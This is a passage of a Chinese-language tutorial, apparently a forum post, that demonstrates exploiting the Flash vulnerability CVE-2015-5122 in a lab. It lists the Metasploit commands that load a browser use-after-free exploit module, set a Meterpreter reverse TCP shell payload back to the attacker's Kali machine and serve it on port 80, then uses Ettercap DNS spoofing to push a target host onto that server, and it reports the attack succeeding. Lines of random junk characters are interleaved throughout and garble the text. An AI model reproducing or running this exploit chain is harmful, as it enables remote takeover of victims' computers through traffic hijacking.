|
& y! M4 S2 F! w) x( G5 o$ A
二、cve2015-5122漏洞实例演示虚拟机 * {7 q: j% g) K
! V. \ i" t' {& J8 w
2 H9 l( S$ ~" d* Z% i2 q 关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图:
1 j, u4 [" ~7 s( ]: J& x( J, \
3 B5 M3 v/ s) b6 |, o# p
/ `, r$ Q* F- Z2 v- O search cve-2015-5122如图: ; H4 Y: K4 t. ^- v. K
4 O3 E% K6 U* t B# A1 R" E2 l, F% k* s+ B* U4 N
5 F- ]( K1 w; s5 }& x; s$ P0 D/ z# P
. W4 N+ _8 b3 ~# V7 }/ E5 F M
. x* k& B& D0 m9 w% Q! \9 S0 e; ]8 m
下面我们敲如下命令: 7 ?$ S, m4 r0 C9 ?7 N6 h+ i" `
# W. M) t E7 r% S6 |, `' M( F
, M% [! Q, |$ O1 l0 F! H use exploit/multi/browser/adobe_flash_opaque_background_uaf % n7 j9 y$ _! H9 U, ]
& u" N, n4 V! K& a
" o) T' G P9 o6 b& Z set PAYLOAD windows/meterpreter/reverse_tcp ~- Y& b& g. X( J/ B; S
5 Q) m- e% h0 \
. A- G$ H' u1 i6 h5 \6 b3 E- \( a set LHOST 192.168.0.109
- F- r5 ~7 n0 \$ s" x) w
' \" T+ O9 b7 E3 u1 M% g
2 i( b1 M ^( M: [$ X set URIPATH / /*根目录*/ ' i* D# ?- G D2 y) |
( w' ~- Q! f2 L' ~8 ]1 E$ V x @ r h; U: f5 X$ n) D
set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址
* D; C$ U; y+ c+ Y 9 r) N& n" R. g% I, }+ {4 j
9 p0 M7 m- Y& |2 ^ set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用
. s- L& y3 ]( }: w5 f
1 [8 d" o! D2 k6 I: O
+ p4 J- N: I* E: D8 M/ Q 然后show options如图: - ?. ^$ z7 S* Q
! n% \) Y7 a4 p7 H; p% i( s
8 l$ t0 L$ b/ R3 Q4 ^1 J0 \, F
5 v% S; j; J X8 c" [ 9 P* Z7 f5 _3 u4 k
3 T1 f- j* g. \9 R
一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图:
~; e( {0 P" o( P1 M0 E, L" s : w% H2 N o# Q) z
2 K2 p3 g! E8 }7 m. j4 M0 j% k- X* }2 X3 k
然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115 7 s1 B, P& g- K3 k; q) L7 X- [8 C
: \4 W' K& J# f% u( s9 R. O0 c
0 E3 f* G- i0 t! o) a Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf ) k( y8 u- k1 C0 R
! {5 k$ o7 ]4 I' [8 h
/ j1 e, [- }8 E4 o- u6 R 9 l4 C3 B& J# {; P2 T8 R* C
; f/ f& I4 ?' F& A& {+ e1 U
, V6 n' X4 _* _9 c9 q0 u$ h+ i5 m
成功了,这时候我们断开ettercap,如图:
4 L, M! l2 }( Z9 A# @" M. m 1 h7 u; ^# x# |! C% F
3 \1 ]# L! Q( F$ N
Q6 [0 V$ i4 G( U0 d3 k: r
+ j" b3 l' j3 G5 R1 ?2 V
9 w6 y/ {6 \' c3 v Screenshot如图: & P5 X# N* Q3 W/ Y* ^
. k) k* P/ @! T3 ]1 S2 r
% e$ |$ _- \4 V" T& T. H
" \1 k; e( f6 h @3 F( V% g1 X
' X; ~! c$ v3 y j1 {: s# A- F4 b k$ P6 X' g8 X4 M2 R
3 ~' e$ x2 Y3 g& w6 p |